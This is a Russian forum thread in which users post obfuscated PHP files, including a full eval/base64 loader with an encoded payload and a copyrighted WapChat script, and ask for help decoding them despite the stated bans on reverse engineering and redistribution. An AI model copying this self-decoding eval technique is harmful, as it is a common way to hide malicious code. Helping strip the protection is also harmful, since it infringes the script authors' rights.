Раскодировать PHP old

Статус
В этой теме нельзя размещать новые ответы.
PHP:
<?php // This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited.
$OOO0O0O00=__FILE__;$OOO000000=urldecode('%61%68%36%73%62%65 ...

первый:
PHP:
 <!--error--><br />
<b>Warning</b>:  fopen(php.text) [<a href='function.fopen'>function.fopen</a>]: failed to open stream: No such file or directory in <b>W:\home\test1.ru\www\ob.php</b> on line <b>4</b><br />
<script language=JavaScript src='/denwer/errors/phperror_js.php'></script><!--error--><br />
<b>Warning</b>:  fread(): supplied argument is not a valid stream resource in <b>W:\home\test1.ru\www\ob.php</b> on line <b>6</b><br />

<script language=JavaScript src='/denwer/errors/phperror_js.php'></script>

второй:
PHP:
##################################################################################################
##	                Script name  :  WapChat "Region-56"##
##	                    Version  :  3.2 (23.01.2007)                                            ##
##                      Made by  :  Медиум                                                      ##
##	                     E-mail  :  seaquest@mail.ru	                                        ##
##                          ICQ  :  299-411-279                                                 ##
##                         Site  :  http:
## По вопросам приобритения скрипта или обновлений для него обращатьтся на вышеуказанные данные.##
## Распространение скрипта другими лицами запрешено.Скрипт защищён законом об авторском праве.##
##################################################################################################
header("Cache-Control: no-cache");
if ($ver=="wml")header ("Content-type:text/vnd.wap.wml; charset=utf-8");
else header("Content-Type:text/html; charset=UTF-8");
require("inc.php");
$link = connect_db();
list($row,$id,$ps,$fsize1,$fsize2) = check_login($link);
require("version.php");
if (isset($rm)) $takep2="&amp;rm=$rm&amp;ref=$ref";
else $takep2="&amp;ref=$ref";
$r = mysql_query("select count(readd) as num from zapiski where (idtowhom = '".$id."')and(readd = '0')and(ininc ='1')");
$a = mysql_fetch_array($r);
$num = $a["num"];
if ($num == 0){
if ($ver=="wml"){
echo $xml;
echo $dtd;
echo "<wml>\n";
echo "<card id=\"error\" title=\"Mektub yoxdur\" ontimer=\"on1.php?$ses$takep2\"><timer value=\"10\"/>\n";
echo "<p align=\"center\">\n";
}else{
echo "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">";
echo "<html xmlns=\"http://www.w3.org/1999/xhtml\">";
echo "<head><link rel=\"stylesheet\" type=\"text/css\" href=\"css/css.css\"/>";
echo "<title>Mektub yoxdur</title>";
echo "<META HTTP-EQUIV=\"Refresh\" CONTENT=\"2; URL=on1.php?$ses$takep2\">";
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"/></head><body>";
echo "<div align=\"center\">";
}
echo $fsize1;
echo "<b>Yeni Gelen mektub yoxdur</b>\n";
echo $fsize2;
if ($ver=="wml")echo "</p></card></wml>";
else echo "</div></body></html>";
mysql_close($link);
exit;
}
if(!isset($s))$s=1;
$mx=round(($num/10)+0.45);
if($s>$mx)$s=$mx;
if($s==0)$s=1;
if ($ver=="wml"){
echo $xml;
echo $dtd;
echo "<wml>\n";
echo "<head><meta http-equiv=\"Cache-Control\" content=\"no-cache\" forua=\"true\"/></head>\n";
echo "<card id=\"inbox\" title=\"Gelenler\">\n";
echo "<do type=\"accept\" name=\"send\" label=\"Gelenler\"><go href=\"rejim.php?$ses&amp;ref=$ref\"/></do>\n";
echo "<p>\n";
}else{
echo "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">";
echo "<html xmlns=\"http://www.w3.org/1999/xhtml\">";
echo "<head><link rel=\"stylesheet\" type=\"text/css\" href=\"css/css.css\"/>";
echo "<title>Gelenler</title>";
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"/></head><body>";
echo "<div align=\"left\">";
}
$ot=(($s-1)*10)+1;
$do=$s*10;
if($do>$num)$do=$num;
$o=$ot-1;
$n=$ot;
if($do==0)$n=$o;
echo $fsize1;
echo "Gosterir ".$n."-".$do." /Cemi: ".$num."<br/>\n";
echo $divide;
echo $fsize2;
$r = mysql_query ("Select idwho,topic,date,klu4,readd from zapiski WHERE (idtowhom = '".$id."')and(readd = '0')and(ininc ='1') order by time desc LIMIT $o,$do");
for ($i=$ot;$i<=$do;$i++){
$a = mysql_fetch_array($r);
$idwho = $a ["idwho"];
$topic = $a ["topic"];
$date = $a ["date"];
$klu4 = $a ["klu4"];
$read = $a ["readd"];
$fromw = @mysql_fetch_array(@mysql_query ("Select user from users where id='".$idwho."' LIMIT 1;"));
if (mysql_affected_rows()!=0){
echo $fsize1;
if ($read == 0)  echo "<img src=\"smile/new.gif\" alt=\"New\"/><b><a href=\"read2.php?$ses&amp;im=$klu4&amp;s=$s$takep2\">".$fromw[0]." (".$topic.")</a>[".$date."]</b><br/>\n";
echo $fsize2;
}
}
mysql_close($link);
$next=$s+1;
$prev=$s-1;
if ($num>$do) {
$ot=(($next-1)*10)+1;
$do=$next*10;
if($do>$num)$do=$num;
echo $fsize1;
echo "<a href=\"inbox2.php?$ses&amp;s=$next$takep2\">&gt;&gt;".$ot."-".$do."&gt;&gt;</a><br/>\n";
echo $fsize2;
}
if($s>1) {
$ot=(($prev-1)*10)+1;
$do=$prev*10;
echo $fsize1;
echo "<a href=\"inbox2.php?$ses&amp;s=$prev$takep2\">&lt;&lt;".$ot."-".$do."&lt;&lt;</a><br/>\n";
echo $fsize2;
}
echo $fsize1;
echo $divide;
echo "<a href=\"on1.php?$ses&amp;ref=$ref\">Tanishliqa qayit</a><br/>\n";
if (isset($rm)) echo "<a href=\"chat.php?$ses&amp;rm=$rm$takep\">Chata Qayit</a><br/>";
echo "<a href=\"rejim.php?$ses&amp;ref=$ref\">Dehliz</a>\n";
echo $fsize2;
if ($ver=="wml")echo "</p></card></wml>";
else echo "</div></body></html>";
 
Doctor_zlo, сначала прочитать начальные инструкции:
*** скрытое содержание ***
далее пошагово:
*** скрытое содержание ***
Помогает! Проверено на себе :)
Прикрепляю декодированный date-diff.php из твоей семерки файлов.
можно "скрытое содержание" в личку ?
 
Doctor_zlo
Бедный sputnik.fm вы его потрошите и потрошите. :D
Потом сразу весь сольёте или кусками?
 
помогите раскодировать этот файл
С этим файлом иди в ветку годе Zend обсуждают, но сразу могу сказать, что скорее всего придется ошибки исправлять, т.к. на 100% рабочий скрипт вряд-ли получится.
PS Файлы кодированные зендом имеют двоичную структуру, так, что их нужно в сообщение вкладывать файлом, а не так как ты сделал.
 
Добрый день, пользовался инструкцией, написанной выше, но после первой итерации остается только белый пустой экран. Помогите, пожалуйста, расшифровать следующий код:
PHP:
<?php 
$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');
$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};
$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};
$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};
$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};
$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14}.$OOO000000{3};
$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};
$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};
$OOO0O0O00=__FILE__;
$OO00O0000=62012;
@eval($OOO0000O0('aWYoITApJE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwME8wMCgkTzAwME8wTzAwLDEwMjQpOyRPME8wMDBPMDAoJE8wMDBPME8wMCw0MDk2KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMzgwKSwnRW50ZXJ5b3V3a2hSSFlLTldPVVRBYUJiQ2NEZEZmR2dJaUpqTGxNbVBwUXFTc1Z2WHhaejAxMjM0NTY3ODkrLz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));
return;?>
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